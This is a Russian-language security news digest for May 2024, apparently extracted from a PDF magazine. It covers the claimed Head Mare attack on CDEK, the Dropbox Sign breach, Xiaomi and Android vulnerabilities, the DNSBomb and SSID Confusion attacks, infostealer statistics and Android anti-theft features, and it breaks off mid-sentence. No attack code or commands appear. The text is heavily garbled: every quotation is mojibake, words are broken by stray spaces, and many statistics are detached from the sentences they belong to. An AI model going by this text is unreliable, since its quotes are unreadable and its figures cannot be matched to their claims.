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В этом месяце: хакеры взло мали Dropbox и пред положи- 
тель но ата кова ли СДЭК, экспер ты срав нива ют фун кцию
Recall в Windows с кей лог гером, ата ка DNSBomb уси лива ет
DDoS в 20 тысяч раз, раз работ чики Android борют ся с кра- 
жами устрой ств, завер шает ся под дер жка NTLM и дру гие
инте рес ные события про шед шего мая.

АТАКА НА СДЭК
С 26 мая 2024 года в работе логис тичес кой ком пании СДЭК начались серь- 
езные перебои: не работа ли при ложе ние и сайт СДЭК, ком пания не при- 
нима ла и не выдава ла отправ ления.

В ком пании заверя ли, что все посыл ки «будут береж но сох ранены
и выданы пос ле устра нения тех ничес ких проб лем», а срок хра нения в ПВЗ
при необ ходимос ти прод лят.

Хо тя еще 26 мая пред ста вите ли СДЭК писали, что ком пания «находит ся
на зак лючитель ном эта пе вос ста нов ления пол ной работос пособ ности» сво их
сер висов, на деле работа ста ла час тично возоб новлять ся лишь 29 мая, ког да
начали выдавать отправ ления, находя щиеся в ПВЗ.

В ком пании заяви ли, что при чина про исхо дяще го — «обширный тех ничес- 
кий сбой», хакер ская груп па Head Mare заяви ла в X (быв ший Twitter), что взло- 
мала СДЭК, зашиф ровала дан ные и унич тожила бэкапы.

В сво ем сооб щении, к которо му при ложе ны скрин шоты, пред положи тель но
демонс три рующие внут ренние сис темы СДЭК, хакеры писали, что яко бы
зашиф ровали дан ные ком пании, а резер вные копии «адми ны на малень кой зп
делали раз в пол года» и теперь бэкапы «про пали».

Груп пиров ка заяви ла, что «сисад мины ока зались слиш ком сла бы, а полити ки
безопас ности не оправда ли себя». Так же зло умыш ленни ки «переда ли при- 
вет» рос сий ской ком пании по управле нию циф ровыми рис ками BI.ZONE,
которая кон суль тиру ет СДЭК по воп росам кибер безопас ности и софт
которой яко бы бес полезен.

При этом пред ста вите ли Рос комнад зора сооб щили СМИ, что пос ле пред- 
полага емой ата ки не получа ли от СДЭК уве дом лений об утеч ке дан ных, хотя
опе ратор, допус тивший утеч ку пер сональ ных дан ных, обя зан
в течение 24 часов уве домить об этом РКН.

КОЛИЧЕСТВО ПОЛЬЗОВАТЕЛЕЙ TOR СНИЖАЕТСЯ
Сог ласно офи циаль ной ста тис тике Tor Project, за пос ледний год количес тво поль зовате лей бра- 
узе ра Tor в Рос сии сок ратилось до , хотя еще в 2023 году сос тавля ло более

.
48  тысяч

100 тысяч

Эк спер ты свя зыва ют это сра зу с нес коль кими при чина ми, вклю чая отъ езд активной ауди тории
бра узе ра за гра ницу, сме щение хакер ской активнос ти в Telegram, а так же с бло киров ки Рос- 
комнад зора.

ВЗЛОМ DROPBOX
Ха керы про ник ли в про изводс твен ные сис темы плат формы Dropbox Sign
eSignature и получи ли дос туп к токенам аутен тифика ции, дан ным мно гофак- 
торной аутен тифика ции (МФА), хеширо ван ным паролям и информа ции о кли- 
ентах.

Dropbox Sign (ранее HelloSign) — это плат форма элек трон ной под писи,
поз воля ющая кли ентам хра нить, отправ лять и под писывать докумен ты
онлайн, при чем под писями, име ющи ми юри дичес кую силу.

В кон це апре ля 2024 года спе циалис ты Dropbox обна ружи ли несан кци они- 
рован ный дос туп к про изводс твен ным сис темам Dropbox Sign и начали рас- 
сле дова ние. Ока залось, зло умыш ленни ки каким-то обра зом получи ли дос туп
к авто мати зиро ван ному инс тру мен ту для нас трой ки сис темы Dropbox Sign,
который явля ется частью бэкенд-сер висов плат формы.

С помощью это го инс тру мен та хакеры смог ли запус кать при ложе ния
и авто мати зиро ван ные сер висы с повышен ными при виле гиями, что поз- 
волило им доб рать ся до базы дан ных кли ентов.

«
»

«Â õîäå äàëü íåéøå ãî ðàñ ñëå äîâà íèÿ ìû îáíà ðóæè ëè, ÷òî çëî óìûø- 
ëåííè êè ïîëó÷è ëè äîñ òóï ê äàí íûì, â òîì ÷èñ ëå èíôîðìà öèè î êëè- 
åíòàõ Dropbox Sign, âêëþ ÷àÿ àäðå ñà ýëåê òðîí íîé ïî÷ òû, èìå íà ïîëü- 
çîâàòå ëåé, íîìåðà òåëåôî íîâ è õåøèðî âàí íûå ïàðîëè, à òàê æå îáùèå
íàñ òðîé êè àêêà óíòîâ è íåêîòî ðûå àóòåí òèôèêà öèîí íûå äàí íûå (òàêèå
êàê êëþ ÷è API, òîêåíû OAuth è ÌÔÀ)», — ñîîá ùàþò â Dropbox.

От меча ется, что люди, которые поль зовались плат формой Dropbox Sign
eSignature, но не соз давали акка унт, тоже пос тра дали, но в их слу чае утек ли
толь ко адре са элек трон ной поч ты и име на.

По заяв лению ком пании, она не обна ружи ла никаких доказа тель ств того,
что зло умыш ленни ки получи ли дос туп к докумен там, сог лашени ям или пла- 
теж ной информа ции кли ентов или име ли дос туп к сис темам дру гих сер висов
ком пании. Под черки вает ся, что «инфраструк тура Dropbox Sign в зна читель ной
сте пени отде лена от дру гих сер висов Dropbox».

В ито ге Dropbox сбро сила пароли всех поль зовате лей, завер шила все
сеан сы Dropbox Sign и огра ничи ла исполь зование API-клю чей до тех пор,
пока кли енты их не заменят. Поль зовате лям Dropbox Sign рекомен дует ся
осте регать ся воз можных фишин говых кам паний, которые могут исполь зовать
укра ден ные дан ные для сбо ра кон фиден циаль ной информа ции (нап ример,
паролей).

РЫНОК ОНЛАЙН-ПИРАТСТВА СОКРАТИЛСЯ НА 16%
По дан ным ком пании FACCT, рынок онлайн-пиратс тва в Рос сии в 2023 году оце нивал ся
в  дол ларов США. Для срав нения: в 2018 году объ ем рын ка нелегаль ного виде- 
окон тента сос тавлял  дол ларов США.

38 мил лионов
87 мил лионов

За год нелегаль ные рас простра ните ли виде окон тента недос читались  сво их доходов, тог да
как количес тво пират ских доменов уве личи лось на .

16%
16%

В 2023 году было обна руже но  пират ских доменов с рус ско языч ным виде окон- 
тентом, что на  ( ) боль ше по срав нению с 2022 годом. Иссле дова тели свя зыва ют
это с тех нологи ями авто мати зации, исполь зовани ем пирата ми динами чес ки изме няющих ся
зер кал, которые поз воля ют им доль ше оста вать ся в поис ковой выдаче.

80  тысяч
11 тысяч 16%

В целом пират ский кон тент был раз мещен на сай тах в  слу чаев, в соци аль ных сетях и мес- 
сен дже рах — в , а в  слу чаев был заг ружен на виде охос тинги.

82%
12% 6%

До ходы пиратов от рек ламы за прош лый год тоже упа ли: сред ний CPM (cost per mille, цена
за 1000 показов в рек ламной кам пании) сос тавил , что на  мень ше, чем
в 2022 году.

3,13  дол лара 6%

МНОГОЧИСЛЕННЫЕ
ПРОБЛЕМЫ XIAOMI
Ис сле дова тели из ком пании Oversecured выяви ли мно гочис ленные уяз вимос- 
ти в при ложе ниях и сис темных ком понен тах устрой ств Xiaomi и Google,
работа ющих под управле нием Android. Эти баги дают дос туп к про изволь ным
опе раци ям, ресиве рам и сер висам с сис темны ми при виле гиями, чре ваты
кра жей про изволь ных фай лов, а так же утеч кой дан ных устрой ства, нас тро ек
и учет ной записи.

Xiaomi
В Oversecured сооб щают, что 20 уяз вимос тей зат рагива ют раз личные при- 
ложе ния и ком понен ты Xiaomi, вклю чая:

Gallery (com.miui.gallery);•
GetApps (com.xiaomi.mipicks);•
Mi Video (com.miui.videoplayer);•
MIUI Bluetooth (com.xiaomi.bluetooth);•
Phone Services (com.android.phone);•
Print Spooler (com.android.printspooler);•
Security (com.miui.securitycenter);•
Security Core Component (com.miui.securitycore);•
Settings (com.android.settings);•
ShareMe (com.xiaomi.midrop);•
System Tracing (com.android.traceur);•
Xiaomi Cloud (com.miui.cloudservice).•

От меча ется, что Phone Services, Print Spooler, Settings и System Tracing —
легитим ные ком понен ты из Android Open Source Project (AOSP), но они были
модифи циро ваны китай ским про изво дите лем для добав ления допол нитель- 
ной фун кци ональ нос ти, что и при вело к появ лению обна ружен ных недос- 
татков.

Сре ди наибо лее зна чимых проб лем, най ден ных иссле дова теля ми, мож но
отме тить инъ екцию шелл-команд, зат рагива ющую при ложе ние System
Tracing, и ошиб ки в при ложе нии Settings, которые мог ли при вес ти к хищению
про изволь ных фай лов, а так же утеч ке через намере ния (intent) информа ции
об устрой ствах Bluetooth, под клю чен ных сетях Wi-Fi и экс трен ных кон тактах.

Так же был обна ружен баг, свя зан ный с пов режде нием памяти в при ложе- 
нии GetApps, которое, в свою оче редь, берет начало от Android-биб лиоте ки
LiveEventBus. По сло вам Oversecured, соп ровож дающим про екта сооб щили
о проб леме боль ше года назад, одна ко она до сих пор не устра нена.

Ис сле дова тели уве доми ли Xiaomi об уяз вимос тях в кон це апре- 
ля 2023 года, и к нас тояще му вре мени все проб лемы устра нены. Теперь
поль зовате лям рекомен дует ся как мож но ско рее уста новить пос ледние
обновле ния для защиты от потен циаль ных рис ков.

Google
Ин терес но, что, помимо перечис ленно го, экспер ты наш ли еще шесть уяз- 
вимос тей в ОС Google в целом. Две из них харак терны для устрой ств Pixel,
а осталь ные четыре зат рагива ют любые Android-устрой ства. Одна ко все упо- 
мина ния Google были уда лены из отче та из-за того, что как минимум одна
из уяз вимос тей до сих пор не исправ лена.

Google тоже стол кну лась с проб лемами пос ле модифи кации кода AOSP.
Так, при ложе ние Settings в смар тфо нах Pixel исполь зовало незадек лариро-
ван ные раз решения при добав лении ком понен тов в файл AndroidManifest.xml.
Это «поз воля ет зло умыш ленни ку изме нить спис ки опе ратор ских при ложе ний
и при ложе ний для обхо да VPN». В Oversecured под черки вают, что толь ко сис- 
темные при ложе ния могут избе гать VPN таким обра зом.

«

»

«Ýòî î÷åíü õàðàê òåðíî äëÿ Android. Íà ñàìîì äåëå îãðîìíîå çàá- 
ëóæäå íèå, ÷òî Android — îïå ðàöè îííàÿ ñèñ òåìà ñ îòêðû òûì èñõîäíûì
êîäîì. Äà, ÷àñòü êîäà íàõîäèò ñÿ â îòêðû òîì äîñ òóïå, íî äàæå Google
íå èñïîëü çóåò AOSP â ïåð âîíà÷àëü íîì âèäå è ìîäèôè öèðó åò åãî
äëÿ âûïóñ êà ñâî èõ óñòðîé ñòâ. ß áû ñêà çàë, ÷òî óñòðîé ñòâà Pixel
íà 50% èñïîëü çóþò AOSP, à îñòàëü íîå — çàê ðûòûé êîä. Äëÿ îñòàëü íûõ
ïðî èçâî äèòå ëåé Android ýòîò ïðî öåíò ìåíü øå», — ðàñ ñêà çûâà åò ãëà âà
Oversecured Ñåð ãåé Òîøèí.

В ито ге проб лемы, свя зан ные с Google и Pixel, выг лядят сле дующим обра зом:
CVE-2024-0017, исправ лена 20 декаб ря 2023 года — спо соб получить дос- 
туп к геоло кации поль зовате ля через камеру;

•

CVE нет, обна руже на 4 нояб ря 2023 года — спо соб дос тупа к про изволь- 
ным фай лам через фун кцию выбора фай лов в ком понен тах WebView;

•

CVE нет, исправ лена в Pixel в декаб ре 2023 года — дефект при ложе ния
Settings, поз воля ющий добав лять сис темные при ложе ния в спи сок обхо да
VPN;

•

CVE нет, обна руже на 18 августа 2022 года — некор рек тная про вер ка при- 
виле гий Bluetooth;

•

CVE-2023-20963, обна руже на 17 фев раля 2022 года, исправ лена 1 мар- 
та 2023 года — уяз вимость, поз воляв шая получить дос туп к про изволь ным
ком понен там про изволь ных при ложе ний, уста нов ленных на устрой стве;

•

CVE-2021-0600, обна руже на 29 янва ря 2021 года, исправ- 
лена 24 июня 2021 года — уяз вимость HTML-инъ екций в при ложе нии
Settings на экра не зап роса адми нис тра тора устрой ства.

•

При этом проб лема CVE-2023-20963 активно экс плу ати рова лась хакера ми
с 4 мар та 2022 года (ата ки начались через две недели пос ле того, как о ней
уве доми ли Google). В Oversecured заяв ляют, что исправ ление этой уяз вимос- 
ти не дол жно было занять у Google так мно го вре мени. Ведь Google узна ла
о баге еще в 2022 году, но не пред при нима ла никаких дей ствий око ло года.

«

»

«Åñëè áû îíè èñïðà âèëè parcel/unparcel-óÿç âèìîñòü ñðà çó ïîñ ëå
íàøåãî ïðå äóï ðåæäå íèÿ 17 ôåâ ðàëÿ 2022 ãîäà, òî Pinduoduo íå ïîä- 
âåð ãëîñü áû àòà êå, — ïèñàëè èññëå äîâà òåëè â ñâî åì îò÷å òå, óïî ìèíàÿ
êèòàé ñêîå ïðè ëîæå íèå Pinduoduo äëÿ Android, êîòîðîå áûëî óäà ëåíî
èç Google Play Store â 2023 ãîäó èç�çà óÿç âèìîñ òè ïåðåä CVE-2023-
20963. — Îäíà êî Google íà÷àëà ðàáîòó íàä èñïðàâ ëåíè åì áîëåå ÷åì
÷åðåç ãîä, òîëü êî êîã äà ñòà ëî èçâåñ òíî îá àòà êàõ. Â èòî ãå ïðîá ëåìó
èñïðà âèëè 1 ìàð òà 2023 ãîäà. Ìû óâà æàåì èíæå íåðîâ Google, íî,
î÷å âèä íî, èõ ïîä õîä ê áåçîïàñ íîñòè íóæ äàåò ñÿ â ïåðåñ ìîòðå».

В ответ на это пред ста вите ли Google заяви ли, что, хотя в ком пании стре мят ся
сде лать про цесс выпус ка и уста нов ки пат чей более быс трым, «в некото рых
слу чаях дей стви тель но может пот ребовать ся боль ше вре мени, что бы убе- 
дить ся, что патч готов к внед рению в эко сис тему».

ТРАМП ПООБЕЩАЛ ПОМИЛОВАТЬ РОССА УЛЬБРИХТА
Во вре мя выс тупле ния на Либер тари анском наци ональ ном кон грес се в Вашин гто не Дональд
Трамп заявил, что, если его вновь избе рут пре зиден том США, он отме нит пожиз ненное зак- 
лючение осно вате ля Silk Road Рос са Уль брих та.

За явле ние Трам па выз вало апло дис менты соб равших ся, мно гие из которых дер жали
в руках таб лички с над писью «Free Ross».

→ «Если вы про голо суете за меня, в пер вый же день я заменю при говор Рос су
Уль брих ту уже отбы тым сро ком. Он уже отси дел один надцать лет, мы вер нем
его домой».

За нес коль ко часов до это го Трамп сде лал еще одно заяв ление в соци аль ной сети Truth Social,
соз данной Trump Media & Technology Group (TMTG) в 2022 году.

→ «Я очень позитив но и откры то отно шусь к крип товалют ным ком пани ям и все- 
му, что свя зано с этой новой и бур но раз вива ющей ся индус три ей. Наша стра на
дол жна быть лидером в этой области. Вто рого мес та быть не может, — написал
Трамп и добавил: — Пре зидент Джо Бай ден хочет, что бы (крип товалют ная
индус трия) умер ла мед ленной и мучитель ной смертью, но со мной это го никог- 
да не слу чит ся!»

ANDROID СЛИВАЕТ
DNS-ЗАПРОСЫ
Поль зователь Mullvad VPN обна ружил и сооб щил, что Android-устрой ства рас- 
кры вают DNS-зап росы при перек лючении VPN-сер веров, даже если фун кция
Always-on VPN вклю чена с помощью опции «Бло киро вать соеди нения
без VPN».

Фун кция Always-on VPN пред назна чена для запус ка VPN-сер виса сра зу
при заг рузке устрой ства и под держа ния его в рабочем сос тоянии, пока
устрой ство или про филь активны. В свою оче редь, вклю чение опции «Бло- 
киро вать соеди нения без VPN» (Block connections without VPN) гаран тиру ет,
что весь сетевой тра фик про ходит толь ко через под клю чен ный VPN-тун нель.

Од нако, изу чая упо мяну тое сооб щение поль зовате ля, раз работ чики
Mullvad приш ли к выводу, что в Android сущес тву ет баг, который при водит
к утеч ке DNS-информа ции, даже если перечис ленные фун кции вклю чены
и устрой ство работа ет под управле нием новей шей вер сии ОС (Android 14).

Ошиб ка воз ника ет при исполь зовании при ложе ний, которые нап рямую
обра щают ся к C-фун кции getaddrinfo, обес печива ющей незави симую от про- 
токо ла тран сля цию тек сто вого име ни хос та для IP-адре са. Ока залось, что
в Android про исхо дит утеч ка DNS-тра фика, ког да VPN акти вен (но не нас тро ен
DNS-сер вер) или если VPN-при ложе ние перекон фигури рует тун нель, но про- 
исхо дит сбой или вынуж денная при оста нов ка работы.

«

»

«Ìû íå îáíà ðóæè ëè óòå ÷åê èç ïðè ëîæå íèé, êîòîðûå èñïîëü çóþò òîëü- 
êî API Android (íàï ðèìåð, DnsResolver). Áðà óçåð Chrome ñëó æèò ïðè- 
ìåðîì ïðè ëîæå íèÿ, êîòîðîå ìîæåò èñïîëü çîâàòü getaddrinfo íàï- 
ðÿìóþ, — ïèøóò ðàç ðàáîò ÷èêè Mullvad. — Âûøå îïè ñàí íîå ïðè ìåíÿ- 
åòñÿ íåçàâè ñèìî îò òîãî, âêëþ ÷åíû ëè ôóí êöèè Always-on VPN è Block
connections without VPN, ÷òî íå ÿâëÿ åòñÿ îæè äàåìûì ïîâåäå íèåì ÎÑ
è, ñëå äîâà òåëü íî, äîë æíî áûòü èñïðàâ ëåíî».

Эк спер ты сооб щили, что пер вый сце нарий DNS-утеч ки — это ситу ация, ког да
поль зователь перек люча ется на дру гой сер вер или меня ет DNS-сер вер.
Такую угро зу мож но лег ко устра нить, нас тро ив фаль шивый DNS-сер вер
во вре мя работы VPN-при ложе ния.

Од нако спра вить ся с утеч кой DNS-зап росов при пов торном под клю чении
VPN-тун неля уже не так прос то. При чем эта проб лема акту аль на не толь ко
для Mullvad, но и для любых дру гих VPN-при ложе ний для Android.

«
»

«Ñëå äóåò ÷åò êî ïîíèìàòü, ÷òî ïîäîá íûå ñïî ñîáû ðåøåíèÿ ïðîá ëåì
íå äîë æíû èñïîëü çîâàòü ñÿ íè â îäíîì VPN-ïðè ëîæå íèè. Òàê æå íåï- 
ðàâèëü íî, åñëè ïðè ëîæå íèå èñïîëü çóåò getaddrinfo äëÿ ðåçîë âèíãà
äîìåí íûõ èìåí. Òàêèå ïðîá ëåìû äîë æíû áûòü ðåøåíû íà óðîâ íå ÎÑ,
÷òî áû çàùèòèòü âñåõ ïîëü çîâàòå ëåé Android, íåçàâè ñèìî îò òîãî,
êàêèå ïðè ëîæå íèÿ îíè èñïîëü çóþò», — ðåçþìè ðóþò â Mullvad.

Пред ста вите ли Google уже сооб щили, что зна ют об обна ружен ной проб леме
и изу чают резуль таты изыс каний раз работ чиков Mullvad.

Нуж но отме тить, что в 2022 году спе циалис ты Mullvad уже находи ли 
 в Android. Тог да выяс нилось, что тра фик уте кает за пре делы

VPN-тун нелей, ког да устрой ство под клю чает ся к сети Wi-Fi. Это тоже про- 
исхо дило даже в том слу чае, если фун кции Block connections without VPN
или Always-on VPN были активны.

по- 
хожую проб лему

КИРИЛЛИЧЕСКОМУ ДОМЕНУ .РФ ИСПОЛНИЛОСЬ 14 ЛЕТ
До мен .РФ был делеги рован Рос сии  и стал пер вым в мире кирил личес ким
доменом. В мае 2024 года .РФ исполни лось , и на сегод няшний день в нем зарегис три- 
рова но  имен.

в  2010  году
14 лет

778 000

Зо на .РФ оста ется самой круп ной кирил личес кой домен ной зоной. Так, толь ко за 2023 год она
вырос ла сра зу на  домен ных имен ( ).92 769 13,7%

DDOS ЧЕРЕЗ
DNSBOMB
Груп па уче ных из Уни вер ситета Цин хуа (Китай) рас ска зала о новом методе
DDoS-атак, который получил наз вание DNSBomb. Для орга низа ции мощ ных
DDoS-атак в дан ном слу чае исполь зует ся DNS-тра фик.

Фак тичес ки DNSBomb пред став ляет собой новую вари ацию ата ки двад- 
цатилет ней дав ности: еще в 2003 году было опуб ликова но ,
в котором опи сыва лась DDoS-ата ка с исполь зовани ем TCP-пуль сации (TCP
pulses).

ис сле дова ние

Та кие ата ки исполь зуют пов торя ющиеся корот кие всплес ки боль ших объ- 
емов тра фика для воз дей ствия на целевую сис тему или сер вис. Подоб ные
импуль сы могут длить ся до нес коль ких сотен мил лисекунд с пери одич ностью
раз в нес коль ко секунд, а ата ка в целом может про дол жать ся нес коль ко часов
или дней. Счи тает ся, что пуль сиру ющие DDoS-ата ки слож нее обна ружить.

DNSBomb исполь зует тот же под ход, но в дру гой реали зации: экс плу ати-
рует DNS-софт и сов ремен ную инфраструк туру DNS-сер веров, вклю чая
рекур сивные резол веры и авто ритет ные nameserver’ы.

Продолжение статьи →
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Об щая схе ма ата ки

В сущ ности, DNSBomb работа ет путем отправ ки мед ленно го потока спе- 
циаль но под готов ленных DNS-зап росов на DNS-сер веры, которые пересы- 
лают дан ные, наращи вают раз меры пакетов и накап лива ют их, что бы потом
выпус тить все сра зу в виде мощ ного импуль са DNS-тра фика, нап равлен ного
пря мо на цель.

В рам ках тес тов экспер ты исполь зовали DNSBomb про тив десяти рас- 
простра нен ных DNS-прог рамм и 46 пуб личных DNS-сер висов и добились
ата ки мощ ностью до 8,7 Гбит/с. При этом исходный DNS-тра фик был уси лен
в 20 тысяч раз от сво его пер воначаль ного раз мера.

В ито ге ата ка при водит к пол ной потере пакетов или ухуд шению качес тва
обслу жива ния как на соеди нени ях без сох ранения сос тояния, так и с сох- 
ранени ем (TCP, UDP и QUIC).

«
»

«Ìû ïðèø ëè ê âûâîäó, ÷òî ëþáàÿ ñèñ òåìà èëè ìåõàíèçì, ñïî ñîá íûé
îáú åäè íÿòü ÷òî�ëèáî (íàï ðèìåð, DNS è CDN), ìîæåò èñïîëü çîâàòü ñÿ
äëÿ ñîç äàíèÿ ïóëü ñèðó þùå ãî DoS-òðà ôèêà», — ïèøóò àâòî ðû èññëå- 
äîâà íèÿ.

Уче ные сооб щили, что уве доми ли о проб леме все зат ронутые сто роны.
Все 24 орга низа ции работа ют над исправ лени ями или уже выпус тили пат чи.
При этом сре ди пос тра дав ших орга низа ций чис лятся наибо лее извес тные
DNS-про вай деры мира.

Проб леме DNSBomb был прис воен основной CVE-иден тифика тор CVE-
2024-33655, а так же ряд дру гих иден тифика торов, свя зан ных с кон крет ными
DNS-решени ями:

: ;• Knot CVE-2023-49206
: ;• Simple DNS Plus CVE-2023-49205

: , ;• Technitium CVE-2023-28456 CVE-2023-49203
: ;• MaraDNS CVE-2023-49204
: , ;• Dnsmasq CVE-2023-28450 CVE-2023-49207
: , ;• CoreDNS CVE-2023-28454 CVE-2023-49202

: .• SDNS CVE-2023-49201

- В общей слож ности в пери од с 2020 по 2023 год экспер ты обна ружи ли более  видов

инфости леров. При этом с 2021 по 2023 год доля атак с помощью новых семей ств такой мал- 
вари вырос ла с  до . - Упо мяну тый выше сти лер RedLine исполь зовал ся в  слу чаев

зараже ния устрой ств сти лера ми. За ним сле дуют Vidar ( ) и Raccoon (око ло ).

ИНФОСТИЛЕРЫ ЗАРАЗИЛИ  СИСТЕМ10 ÌÈËËÈÎÍÎÂ

Спе циалис ты «Лабора тории Кас пер ско го» под счи тали, что в прош лом году боль ше полови ны
ата кован ных сти лера ми устрой ств ( ) в мире было зараже но мал варью . Сум марно
в 2023 году от инфости леров пос тра дали око ло  сис тем, а количес тво зараже- 
ний с 2022 по 2023 год воз росло на .
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10 мил лионов

35%
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ПРОБЛЕМА SSID
CONFUSION
Об наруже на уяз вимость, свя зан ная с конс трук тивны ми недос татка ми стан- 
дарта Wi-Fi IEEE 802.11. Проб лема поз воля ет обма ном вынудить жер тву под- 
клю чить ся к менее защищен ной бес про вод ной сети и прос лушивать сетевой
тра фик поль зовате ля.

Баг получил наз вание SSID Confusion и иден тифика тор CVE-2023-52424.
Он зат рагива ет все опе раци онные сис темы и Wi-Fi-кли енты, вклю чая домаш- 
ние и mesh-сети, осно ван ные на про токо лах WEP, WPA3, 802.11X/EAP и AMPE.

Суть ата ки зак люча ется в том, что бы «вынудить жер тву осу щес твить даун- 
грейд и перек лючить ся на менее защищен ную сеть, под менив имя доверен- 
ной сети (SSID), что бы перех ватить тра фик или осу щес твить даль нейшие ата- 
ки», — говорит ся в док ладе ком пании Top10VPN, соз данном в сот рудни чес тве
с про фес сором и извес тным ИБ-иссле дова телем из Лёвен ско го католи чес- 
кого уни вер ситета Мэти Ван хофом (Mathy Vanhoef).

« »
«Òàê æå óñïåøíàÿ àòà êà SSID Confusion çàñ òàâëÿ åò ëþáîé VPN ñ ôóí- 
êöè åé àâòî ìàòè ÷åñ êîãî îòêëþ ÷åíèÿ â äîâåðåí íûõ ñåòÿõ îòêëþ ÷èòü ñÿ,
îñòàâëÿÿ òðà ôèê æåð òâû íåçàùè ùåí íûì», — äîáàâ ëÿþò ýêñïåð òû.

Проб лема, лежащая в осно ве этой ата ки, сос тоит в том, что стан дарт Wi-Fi
не тре бует, что бы SSID всег да про ходил аутен тифика цию, это обя затель но
лишь тог да, ког да устрой ство при соеди няет ся к опре делен ной сети.
В резуль тате зло умыш ленник может обма ном зас тавить поль зовате ля под- 
клю чить ся к недове рен ной сети Wi-Fi, а не к той, к которой тот собирал ся под- 
клю чить ся изна чаль но, осу щес твив ата ку типа «про тив ник посере дине»
(adversary in the middle, AitM).

«
»

«Â íàøåé àòà êå, êîã äà æåð òâà õî÷åò ïîä êëþ ÷èòü ñÿ ê ñåòè TrustedNet,
ìû îáìà íîì âûíóæ äàåì åå ïîä êëþ ÷èòü ñÿ ê äðó ãîé ñåòè — WrongNet,
êîòîðàÿ èñïîëü çóåò àíà ëîãè÷ íûå ó÷åò íûå äàí íûå, — ðàñ ñêà çàëè
èññëå äîâà òåëè. — Â ðåçóëü òàòå êëè åíò æåð òâû áóäåò äóìàòü è ïîêàçû- 
âàòü ïîëü çîâàòå ëþ, ÷òî òîò ïîä êëþ ÷åí ê TrustedNet, õîòÿ íà ñàìîì
äåëå îí ïîä êëþ ÷åí ê WrongNet».

Дру гими сло вами, даже если пароли и дру гие учет ные дан ные про ходят вза- 
имную верифи кацию при под клю чении к защищен ной сети Wi-Fi, нет никакой
гаран тии того, что поль зователь под клю чил ся имен но к той сети, к которой
собирал ся.

Для реали зации ата ки SSID Confusion дол жны быть соб людены сле дующие
усло вия:

жер тва собира ется под клю чить ся к доверен ной сети Wi-Fi;•
жер тве дос тупна мошен ничес кая сеть с теми же учет ными дан ными
для аутен тифика ции, что и нас тоящая;

•

зло умыш ленник находит ся в положе нии, поз воля ющем осу щес твить AitM-
ата ку меж ду жер твой и доверен ной сетью.

•

Для защиты от SSID Confusion иссле дова тели пред лага ют обно вить стан дарт
Wi-Fi 802.11, вклю чив SSID в четырех сто рон ний хен дшейк, который исполь- 
зует ся при под клю чении к защищен ным сетям, а так же усо вер шенс тво вать
защиту маяков (beacon), что бы «кли ент мог хра нить эта лон ный маяк, содер- 
жащий SSID сети, и про верять его под линность во вре мя четырех сто рон него
хен дшей ка».

Ма яки пред став ляют собой управля ющие фрей мы, которые пери оди чес ки
посыла ют точ ки бес про вод ного дос тупа, что бы сооб щить о сво ем при сутс- 
твии. В них содер жится информа ция об SSID, воз можнос тях сети и так далее.

«
»

«Ñåòè ìîãóò çàùèòèòü ñÿ îò òàêîé àòà êè, èçáå ãàÿ ïîâ òîðíî ãî èñïîëü- 
çîâàíèÿ ó÷åò íûõ äàí íûõ â ðàç íûõ SSID, — äîáàâ ëÿþò èññëå äîâà- 
òåëè. — Â êîð ïîðàòèâ íûõ ñåòÿõ ñëå äóåò èñïîëü çîâàòü îòäåëü íûå
CommonNames ñåð âåðà RADIUS, à â äîìàø íèõ ñåòÿõ — óíè êàëü íûé
ïàðîëü äëÿ êàæ äîãî SSID».

Мэтт Лин тон (Matt Linton), воз глав ляющий под разде ление Google по реаги рова нию на угро зы
и управле нию инци ден тами, опуб ликовал в бло ге сооб щение, в котором рас ска зал, что
в текущем виде фишин говые про вер ки и уче ния лишь зас тавля ют его кол лег ненави деть
ИТ-коман ды, но не при носят никакой поль зы.

По его сло вам, «нет никаких доказа тель ств, что эти про вер ки вооб ще при водят к умень- 
шению количес тва успешных фишин говых кам паний». Лишь уве личи вает ся наг рузка на спе- 
циалис тов по реаги рова нию на инци ден ты и тех, кому поруче но обра баты вать отче ты, а сот- 
рудни ки чувс тву ют себя обма нуты ми.

→ «Обу чение сот рудни ков тому, как опо вещать служ бы безопас ности о готовя- 
щих ся ата ках, по-преж нему явля ется цен ным и важ ным допол нени ем к ком- 
плексной сис теме безопас ности. Одна ко не нуж но прев ращать это в про тивос- 
тояние. Мы ничего не выиг раем, если будем „ловить“ людей, которые не справ- 
ляют ся с этой задачей.

Да вай те перес танем занимать ся ста рыми и нерабо тающи ми средс тва ми
защиты и пос леду ем при меру более зре лых отраслей, таких как пожар ная
безопас ность, которые уже стал кивались с подоб ными проб лемами и вырабо- 
тали сба лан сирован ный под ход.

Фи шинг и соци аль ная инже нерия не исчезнут как методы атак. До тех пор
пока люди будут оста вать ся нес табиль ными и соци аль ными сущес тва ми, у зло- 
умыш ленни ков будут спо собы манипу лиро вать челове чес ким фак тором.

Бо лее эффектив ным под ходом к рис кам будет целенап равлен ное стрем- 
ление к соз данию сис тем, защищен ных по умол чанию в дол госроч ной пер спек- 
тиве. А так же инвести ции в инже нер ные средс тва защиты, вклю чая учет ные
дан ные, не под дающиеся фишин гу (такие как passkey), и внед рение мно гос- 
торон него под твержде ния для важ ных аспектов безопас ности в про изводс твен- 
ных сис темах. Счи тает ся, что имен но бла года ря инвести циям в подоб ные архи- 
тек турные средс тва защиты Google уже поч ти десять лет не при ходит ся всерь ез
бес поко ить ся о фишин ге паролей»,  — пишет Лин тон.

У пожар ных он пред лага ет перенять опыт про веде ния уче ний, ког да про вер ка про водит ся
не тай но, а факт ее про веде ния всем оче виден (к при меру, в жилых домах и офис ных зда ниях
заранее рас кле ивают информа цион ные пла каты). То есть фишин говые уче ния дол жны пря мо
сооб щать, что это про вер ка, а так же информи ровать учас тву ющих в ней людей о пре иму щес- 
твах.

ANDROID ПРОТИВ
ВОРОВ
Google анон сирова ла ряд новых фун кций для Android, которые приз ваны
защитить устрой ства от кра жи и потери дан ных. Некото рые из них будут дос- 
тупны толь ко для устрой ств на базе Android 15 и выше, но дру гие пла ниру ется
рас простра нить на мил лиар ды устрой ств под управле нием Android 10 и более
ста рых вер сий.

Что бы защитить лич ные и кон фиден циаль ные дан ные поль зовате лей
в слу чае кра жи или потери устрой ства, новая авто мати чес кая бло киров ка
экра на на осно ве ИИ и аксе леро мет ров, получив шая наз вание Theft Detection
Lock, заб локиру ет экран, если обна ружит рез кое дви жение, свя зан ное
с попыт кой кра жи (нап ример, ког да воры вых ватыва ют устрой ство из рук вла- 
дель ца).

Что бы воры не смог ли получить дос туп к кон фиден циаль ным дан ным
и при ложе ниям, еще одна новая фун кция, Offline Device Lock, авто мати чес ки
